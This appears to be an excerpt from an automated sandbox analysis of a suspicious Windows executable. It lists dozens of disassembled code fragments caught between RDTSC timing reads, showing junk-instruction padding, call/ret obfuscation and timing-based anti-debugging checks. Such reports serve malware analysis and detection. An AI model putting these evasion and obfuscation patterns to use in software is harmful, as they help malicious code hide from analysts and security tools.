Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B3E86 second address: 4B3EA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE4Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F759D5FDE46h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B3EA0 second address: 4B3EA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B3EA4 second address: 4B3EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 477177 second address: 4771AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F759C76329Ah 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c jmp 00007F759C7632A6h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F759C76329Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B9C5C second address: 4B9C66 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F759D5FDE46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B9C66 second address: 4B9C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F759C7632A9h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B9C89 second address: 4B9C8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B9C8D second address: 4B9C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B9C99 second address: 4B9CA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F759D5FDE46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B9CA3 second address: 4B9CC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C76329Bh 0x00000007 jc 00007F759C763296h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007F759C763296h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B9CC5 second address: 4B9CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B9CC9 second address: 4B9CD3 instructions: 0x00000000 rdtsc 0x00000002 js 00007F759C763296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BA0EE second address: 4BA0F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F759D5FDE46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BA0F8 second address: 4BA123 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C76329Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F759C7632A4h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BA123 second address: 4BA129 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BA129 second address: 4BA14D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F759C76329Ch 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F759C7632A1h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BA14D second address: 4BA15D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 ja 00007F759D5FDE4Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BA15D second address: 4BA169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jo 00007F759C763296h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BA41E second address: 4BA422 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BA6BC second address: 4BA6C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BA6C2 second address: 4BA6C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BA6C6 second address: 4BA6E8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a jmp 00007F759C7632A2h 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BA6E8 second address: 4BA6F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BA6F0 second address: 4BA6FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F759C763296h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BCA83 second address: 4BCA89 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BCA89 second address: 4BCA93 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F759C76329Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BCB6B second address: 4BCB6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BCDD4 second address: 4BCDD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BD314 second address: 4BD33F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F759D5FDE5Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F759D5FDE4Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BD402 second address: 4BD408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BD4DA second address: 4BD4E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BD637 second address: 4BD641 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BD641 second address: 4BD65C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F759D5FDE50h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BD7D0 second address: 4BD802 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C7632A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F759C7632A9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BD802 second address: 4BD810 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F759D5FDE4Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BD89D second address: 4BD8BA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a pushad 0x0000000b jmp 00007F759C7632A0h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BD8BA second address: 4BD8D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 nop 0x00000007 jmp 00007F759D5FDE4Fh 0x0000000c xchg eax, ebx 0x0000000d pushad 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BD8D5 second address: 4BD8E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 je 00007F759C76329Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BDDA2 second address: 4BDDA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BE5C2 second address: 4BE5C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BF7AE second address: 4BF7B4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C03A2 second address: 4C03EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov di, dx 0x0000000d mov edi, dword ptr [ebp+122D378Dh] 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007F759C763298h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 00000014h 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f push ecx 0x00000030 mov esi, 6B494FE1h 0x00000035 pop esi 0x00000036 push 00000000h 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b jo 00007F759C76329Ch 0x00000041 jl 00007F759C763296h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C1911 second address: 4C1971 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F759D5FDE46h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007F759D5FDE48h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d push 00000000h 0x0000002f jmp 00007F759D5FDE52h 0x00000034 xchg eax, ebx 0x00000035 pushad 0x00000036 jmp 00007F759D5FDE53h 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C0C1D second address: 4C0C21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C1717 second address: 4C1733 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE4Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jng 00007F759D5FDE54h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C1733 second address: 4C1739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C306E second address: 4C308D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F759D5FDE51h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C650C second address: 4C6510 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C6510 second address: 4C652F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F759D5FDE53h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C3857 second address: 4C3868 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C76329Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C652F second address: 4C6533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C3868 second address: 4C3895 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F759C7632A3h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F759C76329Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C6533 second address: 4C6555 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F759D5FDE4Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C7645 second address: 4C764A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C764A second address: 4C7650 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C7650 second address: 4C7654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C7654 second address: 4C7658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C85E4 second address: 4C85E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C85E8 second address: 4C85F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C85F2 second address: 4C8673 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push esi 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop esi 0x0000000d pushad 0x0000000e jnl 00007F759C763296h 0x00000014 jmp 00007F759C7632A1h 0x00000019 popad 0x0000001a popad 0x0000001b nop 0x0000001c mov bx, di 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push eax 0x00000024 call 00007F759C763298h 0x00000029 pop eax 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e add dword ptr [esp+04h], 0000001Ch 0x00000036 inc eax 0x00000037 push eax 0x00000038 ret 0x00000039 pop eax 0x0000003a ret 0x0000003b mov edi, dword ptr [ebp+122D3721h] 0x00000041 and edi, 643B96A8h 0x00000047 push 00000000h 0x00000049 sub dword ptr [ebp+122D2EEAh], ecx 0x0000004f jmp 00007F759C7632A6h 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C8673 second address: 4C8678 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C96E7 second address: 4C96F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C96F4 second address: 4C96F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C9871 second address: 4C988A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F759C7632A4h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C988A second address: 4C989F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jnl 00007F759D5FDE46h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C989F second address: 4C98B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C7632A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C98B9 second address: 4C98BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C98BE second address: 4C98C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C9966 second address: 4C996C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C996C second address: 4C9990 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F759C763296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F759C7632A4h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CA9E4 second address: 4CA9F6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CB968 second address: 4CBA01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F759C763298h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 push dword ptr fs:[00000000h] 0x0000002a push 00000000h 0x0000002c push edi 0x0000002d call 00007F759C763298h 0x00000032 pop edi 0x00000033 mov dword ptr [esp+04h], edi 0x00000037 add dword ptr [esp+04h], 00000014h 0x0000003f inc edi 0x00000040 push edi 0x00000041 ret 0x00000042 pop edi 0x00000043 ret 0x00000044 jmp 00007F759C7632A3h 0x00000049 mov dword ptr fs:[00000000h], esp 0x00000050 mov ebx, 38972BD4h 0x00000055 mov eax, dword ptr [ebp+122D09C9h] 0x0000005b push FFFFFFFFh 0x0000005d jmp 00007F759C7632A4h 0x00000062 nop 0x00000063 jnl 00007F759C7632A0h 0x00000069 push eax 0x0000006a push ecx 0x0000006b pushad 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CD83A second address: 4CD8B4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F759D5FDE4Ch 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c xor ebx, 368D577Ah 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F759D5FDE48h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e add ebx, 55640F4Dh 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007F759D5FDE48h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 0000001Ah 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 or dword ptr [ebp+122D2FE5h], edx 0x00000056 push eax 0x00000057 pushad 0x00000058 push eax 0x00000059 push edx 0x0000005a jp 00007F759D5FDE46h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CF91E second address: 4CF92B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F759C763298h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CF92B second address: 4CF931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CF931 second address: 4CF937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CF937 second address: 4CF93D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CDADB second address: 4CDADF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CDADF second address: 4CDAE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4D0F27 second address: 4D0F2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4D0F2C second address: 4D0F5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F759D5FDE52h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
